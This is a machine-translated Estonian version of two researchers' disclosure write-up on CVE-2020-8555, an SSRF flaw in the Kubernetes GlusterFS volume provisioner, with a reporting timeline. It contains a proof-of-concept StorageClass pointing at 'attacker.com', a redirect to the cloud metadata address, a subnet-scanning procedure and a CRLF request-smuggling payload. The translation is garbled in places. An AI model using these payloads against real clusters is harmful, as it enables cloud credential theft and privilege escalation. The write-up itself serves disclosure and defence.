Kui asi pole ainult Kubernetese haavatavustes...

Märge. tõlge: selle artikli autorid räägivad üksikasjalikult, kuidas neil õnnestus haavatavus avastada CVE-2020-8555 Kubernetesis. Kuigi esialgu see väga ohtlik ei tundunud, osutus koos teiste teguritega selle kriitilisus mõne pilveteenuse pakkuja jaoks maksimaalseks. Mitmed organisatsioonid premeerisid spetsialiste tehtud töö eest heldelt.

Kui asi pole ainult Kubernetese haavatavustes...

Kes me oleme

Oleme kaks Prantsuse turvateadlast, kes avastasid ühiselt Kubernetes haavatavuse. Meie nimed on Brice Augras ja Christophe Hauquiert, kuid paljudel Bug Bounty platvormidel tuntakse meid vastavalt Reeverzaxi ja Hachi nime all:

Mis juhtus?

See artikkel on meie viis jagada, kuidas tavalisest uurimisprojektist sai ootamatult kõige põnevam seiklus putukaküttide elus (vähemalt praegu).

Nagu te ilmselt teate, on veaküttidel paar märkimisväärset funktsiooni:

  • nad elavad pitsast ja õllest;
  • nad töötavad siis, kui kõik teised magavad.

Me pole nendest reeglitest erand: kohtume tavaliselt nädalavahetustel ja veedame unetuid öid häkkides. Kuid üks neist õhtutest lõppes väga ebatavaliselt.

Esialgu kavatsesime kokku saada, et arutada osalemist CTF järgmisel päeval. Vestlusel Kubernetese turvalisusest hallatud teeninduskeskkonnas meenus meile SSRF-i vana idee (Serveripoolne päringu võltsimine) ja otsustas proovida seda rünnakuskriptina kasutada.

Kell 11 istusime maha oma uurimistööd tegema ja läksime varahommikul magama, olles tulemustega väga rahul. Just selle uurimistöö tõttu sattusime MSRC Bug Bounty programmi ja jõudsime privileegide eskalatsiooni ärakasutamiseni.

Möödus mitu nädalat/kuud ja meie ootamatu tulemuse tulemuseks oli Azure Cloud Bug Bounty ajaloo üks suurimaid auhindu – lisaks sellele, mille saime Kuberneteselt!

Meie uurimisprojekti põhjal avaldas Kubernetese tooteturbe komitee CVE-2020-8555.

Nüüd tahaksin leitud haavatavuse kohta infot võimalikult palju levitada. Loodame, et hindate leidu ja jagate tehnilisi üksikasju teiste infoseci kogukonna liikmetega!

Nii et siin on meie lugu ...

Kontekst

Et juhtunust võimalikult palju aru saada, vaatame esmalt, kuidas Kubernetes pilvehaldatavas keskkonnas töötab.

Kui loote Kubernetese klastri sellises keskkonnas, vastutab halduskihi eest tavaliselt pilveteenuse pakkuja.

Kui asi pole ainult Kubernetese haavatavustes...
Juhtkiht asub pilveteenuse pakkuja perimeetril, Kubernetese sõlmed aga kliendi perimeetril

Köidete dünaamiliseks jaotamiseks kasutatakse mehhanismi nende dünaamiliseks varundamiseks välisest salvestussüsteemist ja võrdlemiseks PVC-ga (püsiv mahunõue, st mahu taotlus).

Seega, pärast PVC loomist ja K8-klastri StorageClassiga sidumist võtab helitugevuse tagamiseks edasised toimingud üle kube/pilvekontrolleri haldur (selle täpne nimi sõltub väljalasest). (Märge. tõlge: Oleme CCM-ist juba pikemalt kirjutanud, kasutades selle ühe pilvepakkuja juurutamise näidet siin.)

Kubernetes toetab mitut tüüpi promootoreid: enamik neist on kaasatud orkestraatori tuum, samas kui teisi haldavad täiendavad sätteseadmed, mis on paigutatud klastri kaustadesse.

Oma uurimistöös keskendusime sisemisele mahu pakkumise mehhanismile, mida on illustreeritud allpool:

Kui asi pole ainult Kubernetese haavatavustes...
Köidete dünaamiline varustamine, kasutades sisseehitatud Kubernetese provisjoni

Lühidalt, kui Kubernetes on juurutatud hallatavas keskkonnas, vastutab kontrolleri haldur pilveteenuse pakkuja, kuid mahu loomise päring (ülaloleval diagrammil number 3) lahkub pilveteenuse pakkuja sisevõrgust. Ja siin lähevad asjad tõeliselt huvitavaks!

Häkkimise stsenaarium

Selles jaotises selgitame, kuidas kasutasime ülalmainitud töövoogu ja pääsesime ligi pilveteenuse pakkuja sisemistele ressurssidele. Samuti näitab see teile, kuidas saate teha teatud toiminguid, näiteks hankida sisemisi mandaate või suurendada õigusi.

Üks lihtne manipuleerimine (antud juhul Service Side Request Forgery) aitas minna kliendikeskkonnast kaugemale hallatavate K8-de all olevate erinevate teenusepakkujate klastritesse.

Oma uurimistöös keskendusime GlusterFS-i promootorile. Hoolimata asjaolust, et selles kontekstis kirjeldatakse edasist toimingute jada, on Quobyte, StorageOS ja ScaleIO vastuvõtlikud samale haavatavusele.

Kui asi pole ainult Kubernetese haavatavustes...
Dünaamilise mahu pakkumise mehhanismi kuritarvitamine

Säilitusklassi analüüsi käigus GlusterFS Golangi kliendi lähtekoodis me märganudmis köite loomise ajal saadetud esimesel HTTP-päringul (3) parameetri kohandatud URL-i lõppu resturl on lisatud /volumes.

Otsustasime lisamise teel sellest lisateest lahti saada # parameetris resturl. Siin on esimene YAML-i konfiguratsioon, mida kasutasime poolpime SSRF-i haavatavuse testimiseks (pool- või poolpimedate SSRF-i kohta saate rohkem lugeda näiteks, siin - u. tõlge.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Seejärel kasutasime binaarfaili Kubernetese klastri kaughaldamiseks kubectl. Tavaliselt võimaldavad pilveteenuse pakkujad (Azure, Google, AWS jne) hankida selles utiliidis kasutamiseks mandaate.

Tänu sellele sain kasutada oma “spetsiaalset” faili. Kube-controller-manager täitis saadud HTTP-päringu:

kubectl create -f sc-poc.yaml

Kui asi pole ainult Kubernetese haavatavustes...
Vastus ründaja vaatevinklist

Varsti pärast seda saime käskude kaudu ka HTTP vastuse sihtserverist describe pvc või get events in kubectl. Ja tõepoolest: see Kubernetese vaikedraiver on oma hoiatustes/tõrketeadetes liiga paljusõnaline...

Siin on näide koos lingiga https://www.google.frseada parameetriks resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Kui asi pole ainult Kubernetese haavatavustes...

Selle lähenemisviisi puhul piirdusime selliste päringutega nagu HTTP POST ja ei saanud vastuse keha sisu kätte, kui tagastuskood oli 201. Seetõttu otsustasime teha täiendavaid uuringuid ja laiendasime seda häkkimise stsenaariumi uute lähenemisviisidega.

Meie uurimistöö areng

  • Täpsem stsenaarium nr 1: 302 ümbersuunamise kasutamine välisest serverist HTTP-meetodi muutmiseks, et pakkuda sisemiste andmete kogumiseks paindlikumat viisi.
  • Täpsem stsenaarium nr 2: automatiseerige LAN-i skannimist ja sisemiste ressursside leidmist.
  • Täiustatud stsenaarium nr 3: HTTP CRLF + salakaubavedu ("smugeldamise taotlus") kasutamine kohandatud HTTP-päringute loomiseks ja kube-kontrolleri logidest eraldatud andmete toomiseks.

Tehnilised kirjeldused

  • Uuringus kasutati Põhja-Euroopa piirkonnas Azure Kubernetes Service'i (AKS) koos Kubernetese versiooniga 1.12.
  • Ülalkirjeldatud stsenaariumid viidi läbi Kubernetese viimastel väljaannetel, välja arvatud kolmas stsenaarium, kuna ta vajas Golangi versiooniga ≤ 1.12 ehitatud Kubernetest.
  • Ründaja väline server – https://attacker.com.

Täpsem stsenaarium #1: HTTP POST-päringu ümbersuunamine GET-i ja tundlike andmete vastuvõtmine

Algset meetodit täiustas ründaja tagasipöördumisserveri konfiguratsioon 302 HTTP ümberkoodPOST-päringu teisendamiseks GET-päringuks (samm 4 diagrammil):

Kui asi pole ainult Kubernetese haavatavustes...

Esimene päring (3) tuleb kliendilt GlusterFS (kontrollerihaldur), omab POST-tüüpi. Järgides neid samme, suutsime selle muuta GET-iks:

  • Parameetrina resturl StorageClassis on see märgitud http://attacker.com/redirect.php.
  • Lõpp-punkt https://attacker.com/redirect.php vastab 302 HTTP olekukoodiga järgmise asukohapäisega: http://169.254.169.254. See võib olla mis tahes muu sisemine ressurss – sel juhul kasutatakse ümbersuunamislinki ainult näitena.
  • Vaikimisi net/http raamatukogu Golang suunab päringu ümber ja teisendab POST-i GET-iks olekukoodiga 302, mille tulemuseks on HTTP GET-päring sihtressursile.

HTTP vastuse keha lugemiseks peate tegema describe PVC objekt:

kubectl describe pvc xxx

Siin on näide HTTP vastusest JSON-vormingus, mille saime vastu võtta:

Kui asi pole ainult Kubernetese haavatavustes...

Leitud haavatavuse võimalused olid sel ajal piiratud järgmiste punktide tõttu:

  • Suutmatus sisestada väljuvale päringule HTTP-päiseid.
  • Suutmatus sooritada POST-i päringut koos parameetritega kehas (see on mugav võtmeväärtuse küsimiseks etcd eksemplarilt, mis töötab 2379 port, kui kasutatakse krüptimata HTTP).
  • Suutmatus tuua vastuse keha sisu, kui olekukood oli 200 ja vastusel ei olnud JSON-i sisutüüpi.

Täpsem stsenaarium nr 2: kohaliku võrgu skannimine

Seda poolpimedat SSRF-meetodit kasutati seejärel pilveteenuse pakkuja sisevõrgu skannimiseks ja erinevate kuulamisteenuste (metaandmete eksemplar, Kubelet jne) vastuste põhjal küsitlemiseks. kube kontroller.

Kui asi pole ainult Kubernetese haavatavustes...

Kõigepealt määrati Kubernetese komponentide standardsed kuulamispordid (8443, 10250, 10251 jne) ning seejärel tuli skannimise protsess automatiseerida.

Nähes, et see ressursside skannimise meetod on väga spetsiifiline ega ühildu klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma töötajad bash-skriptis, mis automatiseerib kogu protsessi.

Näiteks sisevõrgu vahemiku 172.16.0.0/12 kiireks skaneerimiseks käivitati paralleelselt 15 töötajat. Ülaltoodud IP-vahemik on valitud ainult näitena ja see võib teie konkreetse teenusepakkuja IP-vahemiku tõttu muutuda.

Ühe IP-aadressi ja ühe pordi skannimiseks peate tegema järgmist.

  • kustutada viimati kontrollitud StorageClass;
  • eemaldage eelmine kinnitatud püsimahunõue;
  • muutke IP ja pordi väärtusi sc.yaml;
  • luua StorageClass uue IP ja pordiga;
  • luua uus PVC;
  • ekstraheerige skannimistulemused, kasutades PVC kirjeldust.

Täpsem stsenaarium nr 3: CRLF-i süstimine + HTTP smugeldamine Kubernetese klastri „vanades” versioonides

Kui lisaks sellele pakkus pakkuja klientidele K8s klastri vanu versioone и andis neile juurdepääsu kube-kontrolleri-halduri logidele, muutus mõju veelgi olulisemaks.

Ründajal on tõepoolest palju mugavam muuta HTTP-päringuid, mille eesmärk on saada täielik HTTP-vastus oma äranägemise järgi.

Kui asi pole ainult Kubernetese haavatavustes...

Viimase stsenaariumi rakendamiseks pidid olema täidetud järgmised tingimused:

  • Kasutajal peab olema juurdepääs kube-controller-manager logidele (nagu näiteks Azure LogInsightsis).
  • Kubernetese klaster peab kasutama Golangi versiooni, mis on väiksem kui 1.12.

Võtsime kasutusele kohaliku keskkonna, mis simuleeris suhtlust GlusterFS Go kliendi ja võltsitud sihtserveri vahel (hoidume praegu PoC avaldamisest).

Leiti haavatavus, mis mõjutab Golangi versioone, mis on madalamad kui 1.12 ja võimaldavad häkkeritel läbi viia HTTP salakaubaveo/CRLF rünnakuid.

Kombineerides ülalkirjeldatud poolpimedat SSRF-i вместе selle abil saime saata päringuid oma maitse järgi, sealhulgas asendada päised, HTTP meetod, parameetrid ja andmed, mida kube-kontroller-haldur seejärel töötles.

Siin on näide töötavast "söödast" parameetris resturl StorageClass, mis rakendab sarnast rünnakustsenaariumi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Tulemuseks on viga soovimatu vastus, teade, mille kohta salvestatakse kontrolleri logidesse. Tänu vaikimisi lubatud paljusõnalisusele salvestatakse sinna ka HTTP-vastussõnumi sisu.

Kui asi pole ainult Kubernetese haavatavustes...

See oli meie kõige tõhusam “sööt” kontseptsiooni tõestamise raames.

Seda lähenemisviisi kasutades suutsime läbi viia mõned järgmistest rünnakutest erinevate hallatud k8s-i pakkujate klastrite vastu: privileegide eskaleerimine koos mandaatidega metaandmete eksemplaridel, Master DoS (krüptimata) HTTP-päringute kaudu etcd põhieksemplaridel jne.

Tagajärg

Kubernetese ametlikus avalduses meie avastatud SSRF-i haavatavuse kohta hinnati seda CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui võtame arvesse ainult Kubernetese perimeetriga seotud haavatavust, siis terviklikkuse vektorit (terviklikkuse vektor) see kvalifitseerub mitte ükski.

Kuid võimalike tagajärgede hindamine hallatava teeninduskeskkonna kontekstis (ja see oli meie uurimistöö kõige huvitavam osa!) ajendas meid haavatavuse ümber klassifitseerima reitinguks. Kriitiline CVSS10/10 paljudele turustajatele.

Allpool on lisateave, mis aitab teil mõista meie kaalutlusi pilvekeskkondade võimalike mõjude hindamisel.

Ausus

  • Käskude täitmine kaugjuhtimisega, kasutades omandatud sisemisi mandaate.
  • Ülaltoodud stsenaariumi reprodutseerimine IDOR-i (Insecure Direct Object Reference) meetodil muude kohalikust võrgust leitud ressurssidega.

Konfidentsiaalsus

  • Rünnaku tüüp Külgliikumine tänu pilvmandaatide (näiteks metaandmete API) vargustele.
  • Teabe kogumine kohalikku võrku skaneerides (SSH versiooni, HTTP-serveri versiooni määramine, ...).
  • Koguge eksemplari ja infrastruktuuri teavet, küsides sisemisi API-sid, nagu metaandmete API (http://169.254.169.254,…).
  • Kliendiandmete varastamine pilvmandaatide abil.

Kättesaadavus

Kõik rünnakuvektoritega seotud ärakasutusstsenaariumid terviklikkus, saab kasutada destruktiivseteks toiminguteks ja viia selleni, et kliendi perimeetri (või mõne muu) põhieksemplarid pole saadaval.

Kuna olime hallatavas K8-keskkonnas ja hindasime mõju terviklikkusele, võime ette kujutada palju stsenaariume, mis võivad mõjutada saadavust. Täiendavad näited hõlmavad etcd andmebaasi rikkumist või kriitilise kõne tegemist Kubernetes API-le.

Ajajoon

  • 6. detsember 2019: MSRC Bug Bountyle teatati haavatavusest.
  • 3. jaanuar 2020: kolmas osapool teavitas Kubernetese arendajaid, et töötame turvaprobleemiga. Ja palus neil pidada SSRF-i sisemiseks (tuumikusiseseks) haavatavaks. Seejärel esitasime üldise aruande koos tehniliste üksikasjadega probleemi allika kohta.
  • 15. jaanuar 2020: esitasime Kubernetese arendajatele nende nõudmisel tehnilisi ja üldaruandeid (HackerOne platvormi kaudu).
  • 15. jaanuar 2020: Kubernetese arendajad teatasid meile, et poolpimedat SSRF-i + CRLF-i süstimist varasemate väljaannete jaoks peetakse tuumasiseseks haavatavaks. Lõpetasime kohe teiste teenusepakkujate perimeetrite analüüsimise: K8s meeskond tegeles nüüd algpõhjusega.
  • 15. jaanuar 2020: MSRC preemia saadi HackerOne'i kaudu.
  • 16. jaanuar 2020: Kubernetes PSC (tooteturbe komitee) tunnistas haavatavust ja palus potentsiaalsete ohvrite suure arvu tõttu seda kuni märtsi keskpaigani saladuses hoida.
  • 11. veebruar 2020: Google'i VRP preemia saadi.
  • 4. märts 2020: Kubernetese preemia saadi HackerOne'i kaudu.
  • 15. märts 2020: algselt kavandatud avalikustamine lükati COVID-19 olukorra tõttu edasi.
  • 1. juuni 2020: Kubernetes + Microsofti ühisavaldus haavatavuse kohta.

TL; DR

  • Joome õlut ja sööme pitsat :)
  • Avastasime Kubernetese sisemise haavatavuse, kuigi meil polnud kavatsust seda teha.
  • Tegime erinevate pilvepakkujate klastrite kohta täiendava analüüsi ja suutsime haavatavuse tekitatud kahju suurendada, et saada täiendavaid vingeid boonuseid.
  • Sellest artiklist leiate palju tehnilisi üksikasju. Meil on hea meel neid teiega arutada (Twitter: @ReeverZax & @__hach_).
  • Selgus, et kõikvõimalikud formaalsused ja aruandlus võtsid oodatust palju kauem aega.

Viited

PS tõlkijalt

Loe ka meie blogist:

Allikas: www.habr.com

Lisa kommentaar